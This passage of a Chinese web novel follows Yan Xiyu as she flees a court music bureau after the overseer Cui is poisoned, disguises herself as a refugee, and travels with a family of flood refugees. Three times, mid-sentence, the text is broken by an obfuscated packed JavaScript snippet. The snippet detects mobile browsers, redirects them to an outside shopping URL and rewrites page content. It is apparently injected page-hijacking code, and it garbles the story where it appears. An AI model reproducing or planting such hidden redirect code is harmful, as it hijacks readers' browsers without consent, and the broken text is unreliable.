“出什么事了?”春苗最喜欢凑热闹,她已经顺着声音的方向走。 其他人也都觉得好奇,也跟着过去。 燕惜妤走在最后,边走边伸手摸脖子上的勒痕。 离的近了,才知道是崔掌事出事了。 “崔掌事出事了?!”春苗缓缓睁大了眼睛。 “他被人杀了?!”吉荷也小声猜测。 旁边站着的人来的比她们早,知道的也比她们多。 “不是,他是自个儿站着站着就栽地上了。” “他的心腹去扶他,却发现他全身发紫,像是中了毒。” “啊?他被人下毒了?!” “这不清楚,许是他自个儿乱吃些圣药才中的毒。” “圣药?那是什么药?” “哎呀,就那个啊,”这人神秘兮兮地小声说,“这些个无恨的太监,总想着再长出那处……于是到处求神医找圣药。” “哎呀呀。” 这边正嘀嘀咕咕着,那边已经有人大喊:“孙女医怎么还没来?” 紧接着就是一声惊叫:“崔掌事!” 随着这声惊叫,之前蹿进去看热闹的人都跑了出来,边跑还边喊:“崔掌事死了!” 燕惜妤垂着眼睛,又抬手摸了摸自己脖子上的勒痕。 卉童,我给你报仇了。 院里院外乱糟糟的,吉荷她们还站着要看下去。 燕惜妤开口对她们说:“你们看吧,我要离开了。” 吉荷她们也没留意她,只以为她要回居住的小院子,头也没回地对她摆了摆手。 “那你回去吧,我们再看看,待会回去讲给你听。” 燕惜妤对着她们几人的背影笑了笑,然后转身离开。 11. 第11章 一阵急促的敲门声响起,正守在炉子前为师父煎药的小徒被吓了一跳。 她生气地拧着眉,以为是消失了好几日的那人又回来了,也不知道这坏人在外头又干了什么伤天害理的事。 “怎的又跑回来了?”小徒不情不愿地去给师父的这个双生妹妹开门,“仗着和师父有张一样的脸,就敢冒充师父去给人看病,还敢把毒药丸给教坊司里的女乐吃,哼,我迟早要去告发你!” 小徒嘴里嘀嘀咕咕地念叨着,到底还是拖拉着不情愿的步子去开门。 她师父现在病着不醒,她虽然已经学会诊脉抓药,但外人瞧她年纪小,都不相信她,所以她就算再恨师父这个双生妹妹,她都得忍声吞气,否则她就没银子给师父抓药了。 不过之前师父留下的那些能治病的药丸都快用光了,那坏人又不会熬制药丸,若是遇到疑难杂症,难道真的要给病人吃毒药丸吗? 敲门声越来越急,越来越大声。 “敲什么敲!”小徒没好气地去开门,结果门才刚打开,就被人在外面大力地推开,撞的她差点儿摔地上。 她都还没来得及生气,来的人已经火急火燎地一个劲儿往屋里闯。 “你这小徒怎的才开门!你师父呢?快喊她出来,教坊司的崔掌事病了!” “我师父……”小徒一下子被吓懵了,等醒过神来的时候,已经拦不住这些乱闯的人了,“别打扰我师父!” 她这话才刚喊出来,那边已经有人推开了孙珍娘住的厢房。 小徒的心猛地提了起来,连呼吸都停顿了。 完了,要被人发现了!教坊司的大人会不会把师父和她都捉进大牢里? 可惜被那坏人跑了!她该早早去告发的! 小徒在心里又惊又怕,却又还对孙珍娘的双生妹妹恨的牙痒痒。 “诶呀?!孙女医怎的病成这样了?!”屋里的人忽然惊叫出声。 其他人连忙冲了进去,等看清在床上躺着的孙珍娘时,一个个都愣了。 “这、这孙女医怎的也病的这样厉害?” “这可如何是好?崔掌事那儿还在等着呢!” “人生病不都这样,说病就病了,她这人都起不来了,哪还能去给崔掌事看病。” “还愣着干嘛,赶紧的把孙女医抬去医馆找郎中,花楼的花娘们都是她给看的病。” “你这小子,这时候还只想着花娘。” “那不想花娘想什么?教坊司里的掌事太监多的是,换一个就是了。” “算了算了,先把孙女医抬去找郎中,这样我们回去也好交差。” “可她小徒不是在?让她小徒给她看呗。” “你是不是傻,她那小徒都还没及笄,能给人看病吗!” 几人连忙拆了扇门板,把床上昏迷不醒的孙珍娘搬到门板,然后几人哗啦一下抬着人就往外跑。 小徒这会儿已经吓白了脸,她在想着衙门的知州大人会不会把师父和她都砍了,师父的双生妹妹可是冒充师父的名字在外骗人,这是不是死罪啊? “你这小徒怎的还傻站着?还不快跟来,你不管你师父了?” “啊哦好!”小徒慌乱地一抬脚,结果自己把自己给绊倒在地。 “唉,你先不要慌,我们帮你把孙女医抬到医馆去。” 有人扶了小徒一把,小徒这才爬起来跟着跑。 有邻居听到声响,开门探了头出来。 “呀?是孙女医?” “怪不得这几日不见她出门,原来是病了?” “这些人是谁啊?怎么把孙女医抬走了?” “我刚才听了一耳朵,这些是教坊司的仆从,他们来找孙女医去治病,结果发现孙女医也病了,正在帮忙把孙女医抬去医馆呢。” 小徒听着这些声音,内心还在害怕着,但她的眼中却迸出了异样的光彩! 那个坏人好几天没出现了,而她的师父被这些人从屋里抬了出来,邻居也都知道她师父因为生病被抬去医馆看病…… 她师父的身份又回来了! 一定是她每天晚上求神拜佛,菩萨才会把那坏人赶走,才会保佑师父的! “阿嚏……”燕惜妤正脱了衣裳在涂黄栀膏。 脸、脖子和前胸还有后颈都涂了,双手和手臂,还有双脚和小腿也涂了,油纸上还沾着的少许也都全擦在了耳朵上。 涂了黄栀膏之后,燕惜妤先穿上里衣,然后把缝着分成了三份碎银子的腰带缠在腹部。外面再穿上那套在地砖上搓的又皱又脏的新衣裳,最后再在腰间系上像短围裙的腹围。 燕惜妤低头看了看,很好,和城门外的灾民一模一样。 为了怕出教坊司大门的时候被发现,燕惜妤还在腰间又绑了条三裥裙,把又皱又脏的新衣裳藏在了裙子里面。 然后她把剩下的铜钱,和在小徒那里要来的各种小药瓶包在一起。 又把其它的轻薄换新衣物另外用布包好,最后把剩下的那两套厚短袄和薄斗篷,还有那个像香囊的布偶用同一块布包起来。 桌上还有用草绳绑着的两包药材,和新买的厚底鞋和草鞋,这些就是燕惜妤现在所有的家当。 最后拿出一块大的粗麻布,把所有打包好的包裹都紧紧地裹在一起,缠成了一个枕头的样子,接着把包着两双鞋的小布包用绳子绑在大包裹上。 小院外很安静,燕惜妤紧了紧头上包着头发的头巾,然后戴上了长至腰间的帷帽,接着一手抱着包裹缩在帷帽内,另一手拎着药材,像平日那样溜达着走出了教坊司的大门。 出了教坊司,燕惜妤头也不回地直直向着铁铺走去。 李铁匠已经光着膀子在铁铺里敲敲打打了。 燕惜妤走过去时,还特地左右看了看,确定四周没什么可疑的人,这才说:“李铁匠。” “哎,姑娘来了,”李铁匠一抬头,看见眼前戴为帷帽的人,连忙停下手中的动作,“姑娘来了,我那些已经准备好了,请姑娘这边来。” 燕惜妤跟着李铁匠走到旁边的杂物房里,李铁匠先是拿出了一个羊皮水囊,然后又拿出了两样东西。 那两样东西,其中一样是刀刃长度有手掌长的匕首,还贴心地用藤篾给编了一个鞘套。 而另外那件,侧是链子镖。镖头大概有大拇指粗细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282618|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,呈六棱形状,且镖头每扇棱尾都有着倒刺。镖身是筷子头大小的长铁链,镖尾是一个铁圆环,正好可以套在人的手腕上。 因为没有合适的镖头套,所以念鸯用藤篾给编了一个兜形的小圆篮,刚好可以扣住链子镖那锋利的镖头。 “谢谢,有心了,”燕惜妤真心诚意地道了谢,第一时间就是把链子镖的圆环套在自己的手腕,然后把链子一圈一圈地绕在自己手臂上,镖头很随意地缠在链子上,最后把袖子放下。 李铁匠看着她做这一切,表情有些欲言又止。 “李铁匠有话要说?”燕惜妤把匕首放入怀中,和旧钱袋放在一起。 “姑娘,你这链镖的镖头有些像我师父曾提起过的追魂箭的箭头,”李铁匠说。 他的师父曾经是给朝廷打造兵器的铁匠,同他说起过追魂箭的箭头,就是类似的样子,不过追魂箭的箭头只有两棱,而且比链镖的镖头要大很多。 “这些利器都差不多,”燕惜很巧妙地转移话题,“你师父会打造箭头?” “会,他老人家年轻的时候就是在兵营中打造兵器的,”李铁匠很自豪地说。 “那看来我找你帮忙是真的找对人了,名师出高徒,怪不得匕首和链镖都打造的这么好,”燕惜妤赞叹不已。 “我比我师父差远了,”李铁匠憨笑着挠挠头。 “麻烦你帮了忙,我付你钱吧,”燕惜妤说着就要掏钱袋,钱袋里除了铜钱还有三五粒小碎银。 李铁匠立即摇头摆手:“那如何能行!念鸯说过,是姑娘救了她的命……” “好吧,那我收下了,谢谢,”燕惜妤也不想在铁铺里推来推去,而且她接下来还要赶着出城,只好说,“如果有人来问你有没有见过我,你就说我是因为担忧念鸯,所以才来找的你,其他的能不说就尽量别说,免得惹祸上身。” “哦好,”李铁匠点头,又一愣,“什么惹祸上身?” “估计不会有人来找你问我的,”燕惜妤笑着说,“李铁匠,不打扰你了,替我向念鸯问好。” “好好,”李铁匠连忙将人送出铁铺,“姑娘慢走。” 燕惜妤觉得教坊司不会有人来找她,因为她是崔掌事买来的人,和教坊司没有关系。 她不见了,其他人会以为她早早就被崔掌事给预定要卖给别人,毕竟她还没登过花楼,崔掌事为了钱,极有可能会把她给卖了。现在崔掌事出了事,所以买她的人就把她给带走了。 因为有念鸯的事在前,念鸯是不想登花楼才又上吊又吃药的,在别人看来,崔掌事估计会怕她也像念鸯一样,到时候又是竹篮打水一场空,所以就把她卖了。 毕竟活人才是值钱,死人不值钱。就像念鸯一样,之前明明能有六百两银子,结果念鸯一吃药,六百两就变成了三百五十两。 其他掌事指不定都在背后笑话崔掌事贪心不足。 卉童的仇报了,是借的孙女医的手,这是孙女医给她吃那颗毒药丸的债,现在两清了。 燕惜妤一手抱着包裹,一手拎着药材,走向了东城门。 她今天出城不能走正城门,只能想办法从另外两门出去。 12. 第12章 燕惜妤打听过,东城门和西城门每日都会打开一次。 因为现在城外来了大批的灾民,城里守门的守城兵大多都留在了正城门那边,所以其它两门都关闭了。 但其它两城门又不能不开,于是平日分两队守门的守城兵暂时合并,现在合并后的守城兵会先把东城门打开,等要出城的百姓出去之后,把城门一关,再去开西城门。 东城门前的街道没正城门那么热闹,尤其现在每日只开一次,人就比往常少了些。 但仍然有小贩在摆摊,因为正城门外聚集了太多的灾民,外出怕出事的百姓就分流到了东西两城门这边。 现在城门还没开,燕惜妤于是抓紧时间买些出远门的必须品。 出门带钱,她带了。衣食住行,衣服买了。住也有了,就是那个缠成抱枕样式的包裹,半道要是累了,包裹往地上一放,当枕头就能睡。行也有了,就是那两双新鞋。 现在就差衣食住行里的食了。 燕惜妤在街边逛了一圈,最后站在一个卖硬馍的老伯面前:“老伯,你这硬馍还剩下多少个?” “姑娘,你问这个做甚?”那老伯眼中充满了疑惑。 他这硬馍卖一文钱一个,掌心大的圆硬馍,半个指头那么厚,干巴巴的,还很硬,小孩儿啃一天都嚼不完一个,估计还得赔上刚长出来的乳牙。 一般都是那些给商户们扛货的穷苦百姓才会买,一、两个硬馍就着一碗水,也就是一顿了。要是有条件的,花五六个铜板在人家茶摊子买一个月的热水,一天一碗,把硬馍在热水里泡成糊糊,总比干啃着好咽些。 妇人一般都是去买包子,很少会来买这些硬馍。 “出趟远门,买些路上吃,”燕惜妤一手抱着包裹,一手拎着两包药材,微弯着腰看老伯面前的两个背篓,“还有多少个?多少铜钱一个?” “要出门啊,那买我这硬馍是真合适,才卖一文钱一个,”那老伯一听来生意了,顿时就来了精神,“我这硬馍能干吃也能泡汤水吃,还能烤着吃,虽然看着不大,但管饱,还耐放,放上一个月都还能吃。” “嗯,还剩下多少个?”燕惜妤又问了一遍。 “我这一对背篓各放了三十个,”老伯看了看,指着一个快空了的背篓说,“这个背篓里的已经卖了一半了,另外那个背篓有三十个。” “嗯,那我买这个背篓里的,”燕惜妤看了看那个装硬馍的背篓,是那种颈部收细的小口背篓,这种背篓因为篓口小,装东西能防掉也防偷。 能看出这对背篓是用了很久的了,背篓原先的竹篾早已变成了棕黑色,那两条叠了很多层的背带也磨损严重。 “三十个硬馍全买了?”老伯有点吃惊,“姑娘你家人这是准备去走亲戚吧?” 不是,我是逃跑。 “卖吗?”燕惜妤问。 “卖!”老伯立即说,可他的手才刚一动,又顿住了,“姑娘你出来买吃食咋也不带个竹篮,你买这好些硬馍怎么拿回家啊?” 就等你这句话。 “大伯,这背篓也一起卖给我,我直接背走,行吗?”燕惜妤趁机说。 “行啊!”老伯一个劲儿地点头,“这是我自己编的,就收姑娘三文钱吧。”家里背篓多的是,别说买一个,两个都买也卖啊。 “好,一共三十三文钱是吧?”燕惜妤说着,拎着药材的手掏出了旧钱袋。 “对对对,”老伯又是一个劲儿地点头,忽然又是一顿,立即说,“不对不对。” 这大伯一惊一乍的。 “一文钱一个硬馍,我听错了?”燕惜妤问。 “没错没错,可我背篓里还有一张大油纸,那油纸可贵咧,”老伯搓着双手说。 “还有油纸?”燕惜妤伸手看了看,“油纸在哪儿呢?” “在这在这,姑娘你看,”老伯连忙将背篓倾斜着,还把包着硬馍的油纸小心翼翼地掀开来。 “那连油纸也一起卖给我吧,”燕惜妤说,“我买着路上吃,硬馍没油纸包着容易受潮。” “那要二十个铜板,”老伯用心虚的眼神瞄过来。 “大伯,别人买东西买多了,人家都会搭点儿什么,你不给多送两个硬馍就算了,还要多收我的钱,”燕惜妤假装生气地要走。 “哎哎哎,姑娘别走啊,”老伯慌的说话都快结巴了,“没、没多收你钱,我这两张油纸就是二十个铜板买的。” 燕惜妤也不是真的要走,她又转过身来:“二十文买的这两个背篓里的油纸?” 老伯见人没走,也不敢再起小心思了:“是的啊,我、我也没那啥,没那啥。” “那这样,我十个铜板买你这两张油纸,”燕惜妤说,“大伯卖不?” “啊这……”老伯有些忐忑地在搓手,“只买油纸啊?姑娘不买硬馍了?”早知道就不贪心了。 “买,”燕惜妤指了指背篓,“一个背篓,三十个硬馍,两张油纸,四十三文钱,对吧?” “对对对,我给姑娘把这张油纸拿出来,”老伯立即眉开眼笑。二十文两张大油纸,现在十文钱卖出两张旧的,那就是说他买新的只需要花十文钱。 “劳烦大伯用这张油纸帮我把药包起来,”燕惜妤把手里的两包药材递了过去。 “姑娘,你这两包药材也要带出门?”老伯是个手快的,这时候已经把背篓里的一半硬馍取出放在裹布上,然后小心翼翼地从背篓里拿出了油纸。 “嗯,要带着,包好就放在背篓里,能放下吗?”燕惜妤说。不带不行,这药是治她身上的病的。 “能放下,我这背篓大着呢,那我把药材用油纸包起来,就是这背篓的口小了些,姑娘从里面取硬馍的时候要轻些,”老伯提醒了一句。 “好的,”燕惜妤用旧钱袋数了铜板递过去,然后提着背篓离开。 不是她不想把背篓背着,可她头上戴着帷帽,怕不小心把帷帽碰掉,只能等出了城再背。 城门边已经聚了好些准备出城的百姓,燕惜妤慢慢走过去,在经过买碗碟的铺子时,她又走了进去,出来的时候,背篓里多了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282619|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小陶钵和一个小木勺,还问店家讨了水,全给灌在羊皮水囊里了。 要出城的百姓越来越多,大家都挤在一起,燕惜妤站在最外边,她旁边站着一位提着竹篮的大婶。 燕惜妤看了一眼对方提着竹篮里的东西,是大半篮小手臂长的小树干。 “婶子,你这篮子里的是什么树木?”燕惜妤开口问对方。 那婶子往旁边挪了两步才说:“是榆树。” 榆树皮,能吃。 燕惜妤于是说:“婶子,能卖我几根吗?” 一听她要买,那婶子一个跨步又迈了回来。 开城门的守城兵骑着高头大马过来了。 燕惜妤看着那些马,有点儿眼馋。 花钱买马太难了,一是没钱二还是没钱,别说马,就算是牛和驴都买不起。 守城兵打开了门,要出门的百姓也不敢再喧哗,个个低头往外走。 现在是出城容易进城难,燕惜妤走出城门口的时候,没回头看。 虽然她知道接下来的日子,她想要再进入任何一座城都是不可能的了。 崔掌事被孙珍娘毒死了,没人会拿着她的卖身契让官兵来通缉她,但是她一没户籍二没路引,以后的日子只会比现在更艰难。 燕惜妤站在路边发了会呆,然后抱着包裹提着插有几根榆树干的背篓,走进了路旁那有人高的野草丛中。 四周看了看,确定自己被野草丛遮严实了,燕惜妤这才放下手里的东西。 她之前已经从头到脚都做好了出远门的准备,这会儿从头开始再收拾一下。 燕惜妤先把帷帽和面纱都摘了。然后把帷帽外的长罩纱从帽上拿开,只剩下像盖帘般中间有个圆洞的箬帽。 把箬帽戴回头上,又紧了紧绑着发髻的布巾,轻轻甩了甩头,确定箬帽不会掉,从头到脚的头算是可以了。 腰上还系着条三裥裙,这会儿把裙一摘,一身又皱又脏的穿着让人看见就想远远躲开。 然后把灰扑扑的羊皮水囊绑在腰间系着的褐色腹围上,那腹围像是那种又小又短的围裙,也被在地砖上搓的又皱又脏,看着就像是妇人使用了许多年却没洗过似的。 再把脚上穿着的轻薄锦鞋换成厚底粗布鞋,燕惜妤要混进灾民的装扮就算是完成了。 把地上的长罩纱、面纱还有三裥裙都折成方方正正的样子,再小心地塞进脱下的锦鞋里,然后打开那个大包裹,把锦鞋放了进去,再紧紧地缠成枕头的样子。 把包着草鞋的小布包系在大包裹的结头上,以免草鞋单独拎着容易丢失。 燕惜妤做好这一切,才小心地扒开挡在周围的野草,确定路上没人,她快手快脚地把背篓一背,双手一搂大包裹,拱肩缩背低着头走出了草丛。 顺着大路往前走,不担心会迷路,因为这个时代只有官道才是平坦的。 无论怎么走,只要在官道上,总能找到能走的路,也总能遇见要找的人。 果然,刚走到三岔路口,就远远地看见了路的那头人影憧憧。 13. 第13章 燕惜妤左右两边看了看,趁着离的还远,她快步走到一棵树下,把背篓往地上一搁,然后她挨着树坐着,把包裹放在膝上,静静地等待。 过了好一会儿,才看见有两名官差骑着马先过去,然后又等了一阵子,听见了轮子转动的声音。 燕惜妤顺着声音伸长脖子看了眼,发现是五匹马拉着五辆木板车,木板车上堆着麻袋,麻袋堆上还绑着几口大铁镬。 跟着马车走的官差,大概有三十来人,个个都腰佩大刀,其中十几人骑着马,剩下的都走着路。 有一名骑马的官兵身上还背着一面旗帜,燕惜妤仔细看了看,旗帜上面是一个“承”字。 在这队官兵后面跟着的,全是衣着破旧的灾民,男女老少都有,大部分人都是走着路,有些人挑着担子,还有些人推着独轮车。 偶尔能看见一两头牛拉着板车,拉板车的驴子倒是比牛多了那么几头。 不过有牛车和驴车的人家应该是大姓家族,他们把牛车和驴车围的严严实实的,老人和小孩偶尔会上板车上坐一会,但大多数的时候都还是沉默地靠双脚走路。 这一群灾民跟着前头带路的官差,一路风餐露宿地走向遥远的边地。 朝廷下旨安顿灾民,知州大人安排官兵带这些灾民去边地,路上还负责每天三顿粥。 一早在林中露天醒来后,官兵会叫灾民里的妇人去帮着煮粥,就着些腌菜,吃了第一顿之后,就开始赶路。 灾民的队伍很长,拖拖拉拉的,负责带路的官兵会看日头让人休息。 晌午休息的时候,又是一顿粥。有些赶路之后还能动弹的灾民,吃了粥之后,会上山找野果和逮些田鼠之类的,又或者如果有看见小溪,就下水摸鱼。 总之凡是能吃的,都找来吃了。 剩下那些实在是无力动弹的灾民,尤其是那些老的老、小的小的老人小孩,一碗清的能照镜子的粥水喝下肚,再灌两碗水,也就饱了。 歇了晌,又开始赶路,这一走就走到了头日快下山,官兵这才大声喊着让人就地歇息。 被找去帮忙煮粥的妇人,和负责去寻柴火的男人,官兵会每人每天多给他们半块硬馍,其他灾民侧围着大铁镬,一人一勺水多米少的粥,再给夹一筷子腌菜。 燕惜妤当初买这个小陶钵主要是因为它比陶碗便宜,却没想到陶钵在这个时候却展示出了它的实用之处。 碗都是下浅上阔,装不了多少,盛多了水还容易洒出来,但陶钵就不一样了,钵体上下一样大,比碗能装的更多。 “呼,”吃完水多米少的粥,燕惜妤长出一口气,接着把陶钵往地上一搁,发了会呆,再回过神来的时候,看见地上的陶钵时就想笑。 她现在这身就和乞丐似的,陶钵在面前这么一摆,越看越像要饭的。 燕惜妤解下腰间的羊皮水囊,又倒了些水在陶钵里,然后把羊皮水囊系回腰间。 她全副身家也就这么点东西了,一定要随时随地随身都带着,万一遇到什么危险,拔腿就能跑。 燕惜妤眯着眼睛看了看头顶,日头太大,透过树荫的光线仍旧刺眼。 赶了一上午的路,又喝了不会饱但饿不死的清粥水,灾民都已经瘫在地上歇息,有些人家有牛车有驴车的,还会给牛和驴喂水喂草。 燕惜妤不远处就有一头驴子,拥有这头驴子的人家是这支队伍里唯一不是大姓氏的家族。 燕惜妤跟着他们一家已经三天了,从混进灾民的队伍那天起,燕惜妤就盯上了这户有驴子的人家。 灾民太多了,一日接一日走着,很容易出现颓丧心理,无论身心都会觉得极度疲累。 觉得路太远,觉得前途无望,觉得活着太累,还走什么走,干脆死半道算了。 燕惜妤倒不至于会有这种想法,但她人生地不熟的,一天天的连个说话的人都没有,很容易走着走着就偏离队伍,于是她私下给自己找了个带队的人。 只要带队的这人走,她就跟着走。要是带队的这人停,她也跟着停。 为了防止带队的人也想死半道上,所以她特地找了这户有驴车的人家,一共八口人,男女老少都有。 两个老人,两个青壮年,还有两个年轻女子和两个小孩。 上有老下有小的,之前刚经历了洪灾,好不容易一家人都活了下来,眼看着只要走到边地就能有田有地能继续活,而且他们一家还有头驴,这一路老人小孩轮流坐着驴车,也不需要人过多照顾,所以他们会跟着官差走到目的地。 燕惜妤只要跟着他们一家,就不会掉队。 平日他们一家有负责牵驴车的,也有负责盯着官差放饭的,还有负责去拾柴火烧饭的。 虽然他们驴车上没装着多少东西,但他们应该是有杂面豆粉的,晌午趁着官差在煮粥,他们之间的两男人会出去摘些野菜回来,剁碎了和杂面豆粉煮成野菜糊糊,就着粥水,大大小小一家八口一人分一点填填肚子。 大人在忙,小孩子在一旁盯着小锅里的野菜糊糊。 燕惜妤没有野菜糊糊,不过她的背篓有硬馍,但她没有拿出来。 这才刚走了三天,日后的路长着呢,她要先省着,所以只能啃榆树皮。 燕惜妤叹了口气,从背篓里抽出一根榆树枝,榆树枝不大,两根手指那么粗,树皮虽然不老,但是真的啃得牙疼。 燕惜像吃甘蔗似的,先用牙撕下一小块树皮,然后放在嘴里嚼。 嚼到牙疼的时候,再喝一口水,连着嚼碎的树皮一起咽下去。 一口树皮下去,燕惜妤觉得嗓子痒,忍不住把陶钵里的水全喝光了,结果忽然一个咳嗽,鲜血忽然就喷了出来。 自从吃了那颗毒丸之后,这是第二次吐血,看来还要再多吃几次小徒给的解毒丸。 燕惜妤淡定地一手举着榆树枝,用另外那只手的手心先是擦了擦嘴,怕擦不干净,又用手背擦了擦。 她坐着,头上又还戴着顶圆箬帽,平常人如果不蹲在她面前盯着她看,是不会留意到她吐血的。 但小孩子如果坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282620|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上,一眼就能看到。 “哇!”正在擦血的燕惜妤耳边忽然响起一声哭。 她抬头一看,有个小孩儿正指着她在哇哇大哭。 哎?不是我惹哭的你,别指我呀。 燕惜妤被人家小孩这么指着,只能抬头去看小孩儿的家人。 杨大娘一家正在煮野菜糊糊,忽然听见杨双好哇哇大哭,连忙都转头看她。 见她正指着一个人哇哇大哭,一副被吓到的样子,于是顺着她指的方向看了过来。 燕惜妤正好在这个时候抬起了头,她见小孩儿家人都在看着自己,俗话说见人先笑是友善的表现,于是燕惜妤对着人家呲牙一笑—— 她下半张脸都是血痕,忽然这么露齿一笑,嘴里牙龈都是牙,顿时吓得杨家众人齐刷刷倒吸一口凉气,胆小的女子都已经下意识向后仰着身体。 燕惜妤自认自己已经展示出了自己的友善,也就不再管别人了,她实在是啃不下这榆树皮了,于是把手里啃了三天的榆树枝又插回了背篓里。 被她吓到的杨家人有些小心翼翼地把还在哭着的杨双好抱到了身边。 杨柳丫是杨大伯夫妇的小女儿,今年才十五岁,她把小侄女圈在怀里,将头凑到杨大娘的身边小声说道:“娘,那姐姐怎的满脸是血?看着好吓人!” 杨大娘是穷苦人家的儿女,看了看那边背篓上插着的树枝,叹了口气说:“啃树皮把嘴巴刮烂了,可不就是一口树皮一口血吗。” 方翠红是杨大娘的长儿媳,杨双全和杨双好都是她的儿女,她小时候家里也穷,她奶奶和姥姥都曾经啃过树皮。 她也在叹气:“小时我奶和我姥在荒年也都啃过树皮,我姥的牙齿还给啃掉了两颗。” 杨柳丫连忙伸手捂了捂嘴巴:“啊,好痛的。”她家虽然也穷,但家里有两个兄长会帮着做活,只有她一个女儿,倒是没怎么饿过肚子,隔几年还能穿上一回新衣裳,如果不是这次家乡闹洪灾,她这时候也该是相看人家准备成亲了。 杨大伯正在给驴子喂水,见到两儿子远远正背着柴火走过来,他才摸摸驴子的耳朵,然后走到老伴的身边坐下。 杨大柱和杨二柱一人背着捆柴火回来,他们腰上都别着砍刀,长得也算壮实,因为家里有三个大男人,这一路上虽然艰难,但也不至于会被旁人欺负。 刚才在官差那里领的粥还没吃,这会儿人齐了,野菜糊糊也煮好了,大家就端着碗准备喝粥。 杨大娘叹了口气,用一个干净的碗勺了两小勺野菜糊糊进去,然后递给了自家的小孙子:“双全,你去给方才啃树皮的姐姐送去,倒她碗里就成。” 杨双全才五岁,正是调皮好动的年龄,接过他奶手里的碗,蹬蹬蹬两步就跑到了燕惜妤的面前。 燕惜妤还在用手掌和手背蹭脸上的血。 血液还没干,沾在脸上黏黏糊糊的,她想尽量擦干净点再找条小溪洗,免得路上又把人家小孩儿给吓哭。 燕惜妤边擦脸边想站起来,结果身体忽然一顿。 14. 第14章 燕惜妤正在感受着身体的异样,眼前忽然出现了一双穿着小草鞋的小脚,那双草鞋应该是已经穿坏了,被人用几根青茅草又给串好了,勉强还能穿。 “姐姐,我奶奶让我拿来给你吃,”杨双全自顾自地说着,一手就把碗里的野菜糊糊倒在了地上的陶钵里,然后又蹬蹬蹬地跑回家人的身边。 “……谢谢,”燕惜妤张了张嘴,想大声道谢,但她忽然有点无法使唤自己的身体。 糟糕,在教坊司几次断气之前,她的身体就是出现了这种异常的状况。 燕惜妤看了看四周,不能在这个地方失去意识。 她有些慢动作地背好背篓,又抱着包裹,再端上陶钵,摇摇晃晃地离开了原地。 杨大伯一家正在喝粥,一人一碗官差发的粥水,粥里有点腌菜,一家人围着小锅,喝一口粥水,再勺半勺野菜糊糊。 杨柳丫一直在留意着那边,见刚才啃树皮啃到满嘴血的人站了起来,还以为会跑来她家这边蹭多点野菜糊糊,结果那人直接跑了。 杨柳丫也不知是放心还是失望,用力地“哼”了一声。 杨家其他人倒是没怎么在意,两小勺野菜糊糊在这个时候也算是好吃的,但他们给出去的时候也没想着让人来给自己道谢,都是可怜人。而且就这么两小勺野菜糊糊也不是什么仙丹,吃了也不顶饱,只不过是见人实在是可怜,才给出去的,或许吃了这点野菜糊糊,心里有了指望,说不定就能熬到边地。 燕惜妤穿过搁地上或躺或坐着的人,直接来到了官差坐着的最前头。 官差看着凶神恶煞的,腰间还有佩刀,是个百姓都会怕他们。 平日官差们歇息的地方总会空着一大块,灾民们自发地尽量远离着他们。 这时也是,除了在前方巡逻的官差,剩下的官差有人守着几辆马车,其他的都躺着睡着了。 燕惜妤挑了一棵既离官差们近,又离其他灾民远的树,把背篓放在自己双膝间,又把包裹放在背篓上。 这才靠着树干慢吞吞地吃了陶钵里的野菜糊糊。 颜色是瞧着有点儿埋汰,但其实吃在嘴里还可以。不苦不涩,只有点儿清甘,就像是那种需要放糖但忘了放糖的瓜果的味道。 吃了野菜糊糊,再把陶钵放进背篓里,燕惜妤这才松了口气,她背靠树干趴在包裹上,上一霎还是坐着的,下一霎人已经连带着包裹和背篓向前一起倒在了地上。 没人留意她是活着还是死了,灾民们这一路走来,早就见惯了倒下就再也起不来的人,那些倒下的人都是这些灾民的亲人,在天灾面前,大家已经麻木了。 燕惜妤是在官差骑马奔驰着的吆喝声中惊醒的,意识才刚恢复,眼睛都还没睁开,她的人就猛地坐了起来。 背篓和包裹都倒在地上,不过没被人动过。 官差这时正在大声吆喝着提醒灾民们继续赶路,身边的人已经窸窸窣窣地从地上爬起来准备跟着官差往前走。 燕惜妤感受了一下身体,好像没什么事了。时不时断气这事没办法解决,只能慢慢等着,时间久了估计会好,毕竟她现在是燕惜妤,无论身体还是魂魄,都是燕惜妤。 但过度劳累好像会导致吐血,这是那颗毒丸给身体造成的损伤,只有小徒给的药丸能解决。 只不过那些装药丸的小瓷瓶都在包裹里头藏着,大庭广众之后不方便拿出来。 她想了想,背着背篓抱着包裹往后走。 灾民都准备向前走,她往后来,寻了块野草茂密的地方,快手快脚地解开了那个包裹。 拿出小徒给的那小瓷瓶的时候,燕惜妤想了想,把所有装药丸的小瓷瓶都放到了背篓里,又把之前换下的锦鞋和裙子放到包裹里,然后又紧紧地把包裹缠好绑紧。 